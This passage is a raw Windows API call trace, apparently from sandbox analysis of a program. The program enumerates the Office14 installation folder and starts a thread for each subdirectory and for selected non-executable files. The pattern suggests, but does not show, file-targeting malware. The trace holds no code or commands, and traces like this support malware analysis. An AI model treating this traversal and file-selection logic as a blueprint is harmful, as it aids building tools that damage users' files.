[0151.070] wcscmp (_String1="PSTPRX32.DLL", _String2="..") returned 1 [0151.070] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xde180, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTXT9.DLL", cAlternateFileName="")) returned 1 [0151.070] wcscmp (_String1="PTXT9.DLL", _String2=".") returned 1 [0151.070] wcscmp (_String1="PTXT9.DLL", _String2="..") returned 1 [0151.070] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a1819b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBBA", cAlternateFileName="")) returned 1 [0151.070] wcscmp (_String1="PUBBA", _String2=".") returned 1 [0151.070] wcscmp (_String1="PUBBA", _String2="..") returned 1 [0151.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a3500 [0151.093] wcscpy (in: _Dest=0x1b7a3500, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.094] wcscat (in: _Dest=0x1b7a3500, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.094] wcscat (in: _Dest=0x1b7a3500, _Source="PUBBA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA" [0151.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a3500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2380 [0151.095] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aef100, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aef100, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xddf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0151.095] wcscmp (_String1="PUBCONV.DLL", _String2=".") returned 1 [0151.095] wcscmp (_String1="PUBCONV.DLL", _String2="..") returned 1 [0151.095] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe236cf00, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe236cf00, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xe778, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBTRAP.DLL", cAlternateFileName="")) returned 1 [0151.095] wcscmp (_String1="PUBTRAP.DLL", _String2=".") returned 1 [0151.095] wcscmp (_String1="PUBTRAP.DLL", _String2="..") returned 1 [0151.095] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWIZ", cAlternateFileName="")) returned 1 [0151.095] wcscmp (_String1="PUBWIZ", _String2=".") returned 1 [0151.095] wcscmp (_String1="PUBWIZ", _String2="..") returned 1 [0151.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7a33b0 [0151.096] wcscpy (in: _Dest=0x1b7a33b0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.096] wcscat (in: _Dest=0x1b7a33b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.096] wcscat (in: _Dest=0x1b7a33b0, _Source="PUBWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" [0151.096] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a33b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2384 [0151.097] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1 [0151.097] wcscmp (_String1="QUERIES", _String2=".") returned 1 [0151.097] wcscmp (_String1="QUERIES", _String2="..") returned 1 [0151.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7a3570 [0151.097] wcscpy (in: _Dest=0x1b7a3570, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.097] wcscat (in: _Dest=0x1b7a3570, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.098] wcscat (in: _Dest=0x1b7a3570, _Source="QUERIES" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES") returned="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" [0151.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a3570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2388 [0151.099] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xc568, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECALL.DLL", cAlternateFileName="")) returned 1 [0151.099] wcscmp (_String1="RECALL.DLL", _String2=".") returned 1 [0151.099] wcscmp (_String1="RECALL.DLL", _String2="..") returned 1 [0151.099] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xa958, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFEDIT.DLL", cAlternateFileName="")) returned 1 [0151.099] wcscmp (_String1="REFEDIT.DLL", _String2=".") returned 1 [0151.099] wcscmp (_String1="REFEDIT.DLL", _String2="..") returned 1 [0151.099] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d55d00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x40d55d00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x1a900, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMINDER.WAV", cAlternateFileName="")) returned 1 [0151.099] wcscmp (_String1="REMINDER.WAV", _String2=".") returned 1 [0151.099] wcscmp (_String1="REMINDER.WAV", _String2="..") returned 1 [0151.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503690 [0151.099] wcscpy (in: _Dest=0x20503690, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.100] wcscat (in: _Dest=0x20503690, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.100] wcscat (in: _Dest=0x20503690, _Source="REMINDER.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV" [0151.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20503690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x238c [0151.100] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd66038c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x38588, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORT.DLL", cAlternateFileName="")) returned 1 [0151.101] wcscmp (_String1="REPORT.DLL", _String2=".") returned 1 [0151.101] wcscmp (_String1="REPORT.DLL", _String2="..") returned 1 [0151.101] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x5988, dwReserved0=0x0, dwReserved1=0x0, cFileName="REVERSE.DLL", cAlternateFileName="")) returned 1 [0151.101] wcscmp (_String1="REVERSE.DLL", _String2=".") returned 1 [0151.101] wcscmp (_String1="REVERSE.DLL", _String2="..") returned 1 [0151.101] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b753100, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b753100, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x353f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSWOP.ICM", cAlternateFileName="")) returned 1 [0151.101] wcscmp (_String1="RSWOP.ICM", _String2=".") returned 1 [0151.101] wcscmp (_String1="RSWOP.ICM", _String2="..") returned 1 [0151.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x20504410 [0151.101] wcscpy (in: _Dest=0x20504410, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.101] wcscat (in: _Dest=0x20504410, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.101] wcscat (in: _Dest=0x20504410, _Source="RSWOP.ICM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\RSWOP.ICM") returned="C:\\Program Files\\Microsoft Office\\Office14\\RSWOP.ICM" [0151.101] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20504410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2390 [0151.103] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x337e5b00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x337e5b00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x8f770, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTFHTML.DLL", cAlternateFileName="")) returned 1 [0151.103] wcscmp (_String1="RTFHTML.DLL", _String2=".") returned 1 [0151.103] wcscmp (_String1="RTFHTML.DLL", _String2="..") returned 1 [0151.103] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe412d900, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe412d900, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x49580, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAEXT.DLL", cAlternateFileName="")) returned 1 [0151.103] wcscmp (_String1="SAEXT.DLL", _String2=".") returned 1 [0151.103] wcscmp (_String1="SAEXT.DLL", _String2="..") returned 1 [0151.103] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAMPLES", cAlternateFileName="")) returned 1 [0151.103] wcscmp (_String1="SAMPLES", _String2=".") returned 1 [0151.103] wcscmp (_String1="SAMPLES", _String2="..") returned 1 [0151.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7a32d0 [0151.103] wcscpy (in: _Dest=0x1b7a32d0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.103] wcscat (in: _Dest=0x1b7a32d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.103] wcscat (in: _Dest=0x1b7a32d0, _Source="SAMPLES" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES") returned="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES" [0151.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a32d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2394 [0151.104] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6629a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x8f968, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1 [0151.104] wcscmp (_String1="SAVASWEB.DLL", _String2=".") returned 1 [0151.104] wcscmp (_String1="SAVASWEB.DLL", _String2="..") returned 1 [0151.104] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd664fb80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x27ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVWBHF.DLL", cAlternateFileName="")) returned 1 [0151.105] wcscmp (_String1="SAVWBHF.DLL", _String2=".") returned 1 [0151.105] wcscmp (_String1="SAVWBHF.DLL", _String2="..") returned 1 [0151.105] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd66c1fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x40f88, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVWBRAS.DLL", cAlternateFileName="")) returned 1 [0151.105] wcscmp (_String1="SAVWBRAS.DLL", _String2=".") returned 1 [0151.105] wcscmp (_String1="SAVWBRAS.DLL", _String2="..") returned 1 [0151.105] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd66c1fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3df88, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVWBVML.DLL", cAlternateFileName="")) returned 1 [0151.107] wcscmp (_String1="SAVWBVML.DLL", _String2=".") returned 1 [0151.107] wcscmp (_String1="SAVWBVML.DLL", _String2="..") returned 1 [0151.107] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20188a00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd670e260, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x20188a00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x29388, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVWBXAML.DLL", cAlternateFileName="SAVWBX~1.DLL")) returned 1 [0151.107] wcscmp (_String1="SAVWBXAML.DLL", _String2=".") returned 1 [0151.107] wcscmp (_String1="SAVWBXAML.DLL", _String2="..") returned 1 [0151.107] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ae6c00, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6ae6c00, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xb7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCANPST.EXE", cAlternateFileName="")) returned 1 [0151.108] wcscmp (_String1="SCANPST.EXE", _String2=".") returned 1 [0151.108] wcscmp (_String1="SCANPST.EXE", _String2="..") returned 1 [0151.108] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCNPST32.DLL", cAlternateFileName="")) returned 1 [0151.108] wcscmp (_String1="SCNPST32.DLL", _String2=".") returned 1 [0151.108] wcscmp (_String1="SCNPST32.DLL", _String2="..") returned 1 [0151.108] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x6bfb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCNPST64.DLL", cAlternateFileName="")) returned 1 [0151.108] wcscmp (_String1="SCNPST64.DLL", _String2=".") returned 1 [0151.108] wcscmp (_String1="SCNPST64.DLL", _String2="..") returned 1 [0151.108] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1e8f00, ftCreationTime.dwHighDateTime=0x1c74a41, ftLastAccessTime.dwLowDateTime=0x6d273e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf1e8f00, ftLastWriteTime.dwHighDateTime=0x1c74a41, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="SegoeChess.ttf", cAlternateFileName="SEGOEC~1.TTF")) returned 1 [0151.108] wcscmp (_String1="SegoeChess.ttf", _String2=".") returned 1 [0151.108] wcscmp (_String1="SegoeChess.ttf", _String2="..") returned 1 [0151.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x20503790 [0151.109] wcscpy (in: _Dest=0x20503790, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0151.109] wcscat (in: _Dest=0x20503790, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0151.109] wcscat (in: _Dest=0x20503790, _Source="SegoeChess.ttf" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\SegoeChess.ttf") returned="C:\\Program Files\\Microsoft Office\\Office14\\SegoeChess.ttf" [0151.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20503790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2398 [0151.110] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7d4f800, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdd891b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf7d4f800, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x94590, dwReserved0=0x0, dwReserved1=0x0, cFileName="SELFCERT.EXE", cAlternateFileName="")) returned 1 [0151.110] wcscmp (_String1="SELFCERT.EXE", _String2=".") returned 1 [0151.110] wcscmp (_String1="SELFCERT.EXE", _String2="..") returned 1 [0151.110] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ae6c00, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6ae6c00, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x6970, dwReserved0=0x0, dwReserved1=0x0, cFileName="SENDTO.DLL", cAlternateFileName="")) returned 1 [0151.110] wcscmp (_String1="SENDTO.DLL", _String2=".") returned 1 [0151.110] wcscmp (_String1="SENDTO.DLL", _String2="..") returned 1 [0151.110] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45887700, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45887700, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEQCHK10.DLL", cAlternateFileName="")) returned 1 [0151.110] wcscmp (_String1="SEQCHK10.DLL", _String2=".") returned 1 [0151.110] wcscmp (_String1="SEQCHK10.DLL", _String2="..") returned 1 [0151.110] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c961300, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c961300, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x9380, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG.EXE", cAlternateFileName="")) returned 1 [0151.110] wcscmp (_String1="SETLANG.EXE", _String2=".") returned 1 [0151.110] wcscmp (_String1="SETLANG.EXE", _String2="..") returned 1 [0151.110] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0af6f40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x222b68, 